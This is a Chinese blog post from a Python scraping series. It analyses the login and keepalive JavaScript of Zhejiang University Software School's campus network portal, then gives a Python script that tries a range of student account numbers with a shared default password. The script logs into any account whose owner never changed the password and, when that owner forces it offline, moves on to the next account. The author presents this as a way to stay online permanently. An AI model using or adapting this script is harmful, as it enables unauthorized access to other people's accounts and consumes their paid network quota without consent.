Python爬蟲學習(8):浙大軟院網路登陸保持

Amei1314發表於2016-10-24

  在瀏覽器的驗證視窗中輸入登陸名和密碼後,成功後會彈出一個小的新視窗,如果不小心關閉了這個視窗,則就會無法聯網。如果說我在一個不帶有桌面的Linux系統中,我是不能夠通過瀏覽器接入網路的,雖然提供了不同系統的不同版本的客戶端(沒有用過),但是還是想自己做一個玩玩,同時依據上一篇部落格中獲取到的帳號進行嘗試登陸。

1. 頁面分析

  首先還是先來看一下登陸驗證頁面,因為上一片部落格中已經對其進行了分析,這裡我們看看其它的:

  

    上邊的程式碼是登陸成功後設定 document.form1.uid.value 的值,在Cookie中儲存值,開啟新視窗。

# 新視窗開啟的網址為: http://192.0.0.6/login.html。其中location.search相當於無用,可以不管
# "user_login":窗體的名稱
# width,height:視窗的寬和高
window.open("login.html"+location.search,"user_login","width=428,height=296"); 

 

 

    執行完上述程式碼之後就彈出瞭如下的登陸保持視窗(關掉之後就會斷網):

    

    當這個新視窗開啟後就會執行下邊的程式碼:

<script type="text/javascript">
// 呼叫父視窗(也就是開啟這個視窗的登陸驗證視窗)中的get_uid()函式,獲取uid(登陸成功後返回的一串數字)。
document.form1.uid.value=window.opener.get_uid();
// 呼叫父視窗的關閉函式(其實那個函式什麼都沒有做,啥都沒有用)
window.opener.do_close();
document.getElementById("title1").innerHTML=window.opener.get_uname()+"已經登入。<br/>請不要關閉本頁面,關閉本頁面後將自動下網。";
if(document.form1.uid.value != "")
{
   //呼叫get_url()方法 setTimeout("get_url()", 1000); } else { alert("登入失敗"); window.close(); } </script>

 

  下來我們看一下 get_url 方法是幹什麼的,實際上就是將父視窗重定為到浙大軟體學院的網址。

 function get_url()
 {
     // 實際上跑去訪問  http://192.0.0.6/cgi-bin/get_url 地址,而這個地址返回的是一個網址
        var res=postData("/cgi-bin/get_url"+location.search, "get", "");
    // 判斷返回的是不是一個網址,如果是就將父視窗調轉到這個網址(實際上這個網址就是   http://www.cst.zju.edu.cn/   浙大軟院的網址)
     var p=/^http:\/\/.+/;
     if(p.test(res))
         window.opener.jump_to(res);
     else
         window.opener.history.go(-2);
     return;
 }    

  頁面中還有一個方法 keeplive() 方法,看著好像很厲害的樣子,然並卵,其實只有在點選 檢視按鈕的時候才響應,不過我們模擬登陸的時候卻需要這個處理邏輯,判斷我自己是否已經被別人強退,如果強退了之後,我們就嘗試登陸下一個,然後迴圈往復,總會有不在使用的吧(嘿嘿嘿,真是機智。。)

 function keeplive()
 {
     var con=postData("/cgi-bin/keeplive", "post", "uid="+document.form1.uid.value);
     //alert(con);
     var p=/^[\d]+,[\d]+,[\d]+$/;
     
     if(p.test(con))
     {
         var arr=new Array;
         arr=con.split(',');
         document.getElementById("time_long").innerHTML=format_time(arr[0]);
         document.getElementById("balance_in").innerHTML=format_flux(arr[1]);
         document.getElementById("balance_out").innerHTML=format_flux(arr[2]);
         err=0;
     }
     else
     {         
         if(err>=5)
         {
             alert("與伺服器的連線中斷");
             window.close();
             return;
         }
         else if(con=="status_error")
         {
             alert("您的帳戶餘額不足"); 
             window.close();
             return;                     
         }
         else if(con=="available_error")
         {
             alert("您的帳戶被禁用");
             window.close();
             return;
         }
         else if(con=="drop_error")
         {
             alert("您被強制下線");
             window.close();
             return;
         }
         else if(con=="flux_error")
         {
             alert("您的流量已超支");
             window.close();
             return;
         }
         else if(con=="minutes_error")
         {
             alert("您的時長已超支");
             window.close();
             return;
         }
         else 
         {             
             err++;
         }
         
     }

 }

 

  其比較重要的方法是 do_logout,我們之所以關閉了這個頁面就無法上網的原因就是這個函式的啦。

// 訪問 /cgi-bin/do_logout,並登出這次登陸,好吧,只要我不主動去呼叫它就永遠不會登出落。
 function do_logout(flg)
 {
     if(flg!="" && !confirm("是否要登出?"))
         return;
     //clearTimeout(tm);
     var con=postData("/cgi-bin/do_logout", "post", "uid="+document.form1.uid.value);
     //alert(con);
     if(con=="logout_ok")
     {
         //clearTimeout(tm);
         window.close();
     }
     else
     {
         alert("操作失敗");
     }
 }

 

2.  過程實現

  理清楚了頁面的程式碼邏輯,下來就要用python來模擬登陸。過程主要為:獲取未改密碼的使用者帳,然後在這些帳號中選擇未登陸帳號登陸,登陸成功後一直監視登陸後的情況,如果被強制下線,我們就嘗試另一個帳號。

  

#!/usr/bin/python
# -*- coding:utf-8 -*-

import urllib
import urllib2
import re
import os
import time

class PseudoLogin:
    def __init__(self):
        self.login_url = "http://192.0.0.6/cgi-bin/do_login"
        self.status_url = "http://192.0.0.6/cgi-bin/keeplive"
        self.logout_url = "http://192.0.0.6/cgi-bin/do_logout"
        self.headers = {}
        self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
        self.headers["Content-Type"] = "application/x-www-form-urlencoded"
     # 需要更改起始和結束帳號
self.start = ***** self.end = ****** self.check_time = 5 # 當前登陸的帳號 self.current = self.start # 登陸成功後返回的數字字串 self.uid = "" # 迴圈測試帳號,知道有一個帳號可以通過初始密碼登陸 def cycle_login(self): # 初始密碼 password="*************" # 匹配全是數字的字串 pattern = re.compile(r"^[\d]+$") # 當已經訪問到最後的時候,且最後一個帳號沒有登陸成功的時候,又重頭來一次 if (self.current >= self.end): print "將重頭再來一次.." self.current = self.start for username in range(self.current,self.end + 1): self.current = username ret = self.access(str(username),password) if re.match(pattern,ret): self.uid = ret print "已經成功登陸...,可以上網了" print "當前網號為: "+str(username) print "uid為: " + ret return True return False def access(self,username,password): data="username="+username+"&password="+password+"&drop=0"+"&type=1&n=100" req = urllib2.Request(self.login_url,data=data,headers=self.headers) res = urllib2.urlopen(req) content = res.read() print "the login result : " + content return content # 獲取登陸上網後的狀態 def get_status(self): data="uid="+self.uid req = urllib2.Request(self.status_url,data=data,headers=self.headers) res = urllib2.urlopen(req) content = res.read() print "the keepalive result : " + content return content # 登出 def logout(self): data="uid="+self.uid #data="uid="+identity req = urllib2.Request(self.logout_url,data=data,headers=self.headers) res = urllib2.urlopen(req) content = res.read() print "the logout result : " + content return content # 登陸上網之後一直監測上網狀態,如果被強制下線就返回 def suffer(self): # 迴圈測試,直到能夠登陸 while(not self.cycle_login()): pass # 當返回的是三個數字並且已逗號隔開的時候表示依然線上 pattern = re.compile(r"^[\d]+,[\d]+,[\d]+$") # 每過5秒訪問一下狀態 while(True): time.sleep(self.check_time) status = self.get_status() if re.match(pattern,status): print "it is still online" else: print "sorry you are offline" # 如果被強制下線,則自動加1,不然又會登上這個帳號 self.current = self.current + 1 print "下線後需要等一會兒才能再登陸" time.sleep(30) break # 如果while迴圈退出表示上網失敗了 return False # 這個函式將會一直執行 def enjoy(self): while(not self.suffer()): pass login = PseudoLogin() login.enjoy()

   

  執行上述指令碼(./cstlogin > /dev/null 2>&1 &)後,就會在後臺執行,不再掉線囉,nice

 

   

    

 

    

       

相關文章